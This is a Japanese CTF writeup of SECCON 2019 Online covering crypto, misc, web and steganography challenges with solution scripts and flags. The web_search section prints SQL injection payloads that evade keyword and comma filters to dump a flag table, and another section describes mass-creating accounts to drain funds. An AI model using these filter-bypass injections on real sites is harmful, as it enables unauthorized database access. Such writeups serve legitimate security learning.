SECCON 2019 Online CTF Writeup

SECCON 2019 Online CTF Writeup

SECCON 2019

チーム「./Vespiary」で出て 37 位 2402 点でした。 以下、自分が取り組んだ問題です(チームメンバーと解いたものを含む)。

Table of Contents

[crypto] coffee_break

ソースコードを読んで逆算するプログラムを書けば良い。

import sys
from Crypto.Cipher import AES
import base64

def decrypt(key, cipher):
    s = ''
    for i in range(len(cipher)):
        c = cipher[i] - 0x20 - (ord(key[i % len(key)]) - 0x20)
        if c < 0:
            c += (0x7e - 0x20 + 1)
        c += 0x20
        s += chr(c)
    return s

key1 = "SECCON"
key2 = "seccon2019"
cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB)

encoded = "FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905"

enc2 = base64.b64decode(encoded)
enc1_ = cipher.decrypt(enc2)

print(decrypt(key1, enc1_))

SECCON{Success_Decryption_Yeah_Yeah_SECCON}

[misc] Beeeeeeeeeer

とりあえず与えられたシェルスクリプトを実行してみると、文字が増えたり消えたりするCUIアニメーションが表示される。シェルスクリプトで具体的に何が行われているか知るために気合で人力フォーマットとechoコマンドを駆使して解読していった。 適宜bash -xを使うことで楽に解読できる。

SECCON{hogefuga3bash}

[crypto] ZKPay

signupにめちゃくちゃ時間がかかる。signupクエリを送った後に、homeへ移動してみると普通に利用できることがわかった。そこで、signupした直後にcreateQRをしてみたが、どうやら1分待たないと正常なQRコードが生成されない。

$1,000,000 / $500 = 2000 で自動化が現実的なので、2000個アカウントを生成してメインのアカウントにお金を送るスクリプトを書いた。

実行に3時間かかったが無事flagを得た。

[web] web_search

適当に記号を入力してみると、'でErrorすることがわかる。 SQL injection を使う問題であることを疑い、色々実験すると、

  • 空白文字が消える
  • ,が消える
  • or,andが消える
  • oorrorになる
  • #が効く
  • /**/が空白代わりになる

などがわかる。

#が効くことからMySQLが使われていることが推測でき、 'oorr'1'='1'#で、

FLAG
The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. 
Try more!

Flagの前半部分を得る。

flagテーブルにflagがあるようなので、UNIONを用いてflagを表示させたいが、,が消されるのでカラム数を合わせることが難しい。

CROSS JOIN を用いて、

' OORR '1' = '1' /**/ UNION /**/ SELECT /**/ * /**/ FROM /**/ (SELECT /**/ * /**/ FROM /**/ flag)aaa /**/ CROSS /**/ JOIN /**/ (SELECT /**/ * /**/ FROM /**/ flag)bbb /**/ CROSS /**/ JOIN /**/ (SELECT /**/ * /**/ FROM /**/ flag)ccc#"

を送信すると、フラグが得られる。

SECCON{Yeah_Sqli_Success_You_Win_Yeah}

[crypto] Crazy Repetition of Codes

crc32は決定的な関数なので、鳩の巣原理よりcrcの値の周期が2^32以下であることがわかる。よってint('1'*10000) % 周期の回数crc32を実行すればいい。

[misc] Sandstorm

画像にMy name is Adamとあり、010 Editorなどのツールでファイルを見るとインターレースがAdam7になっているのでAdam7 algorithm - Wikipediaが関係していそうとわかる。

これに着想を得て、8ピクセルごとにピクセルを抽出して画像にしてみると、

from PIL import Image

img = Image.open('sandstorm.png')
W, H = img.size

img2 = Image.new('RGBA', (W//8, H//8))

for y in range(0,H//8):
    for x in range(0,W//8):
        img2.putpixel((x,y), img.getpixel((x*8,y*8)))

img2.save('img2.png')

QRコードが得られる。

SECCON{p0nlMpzlCQ5AHol6}

CTF 

See also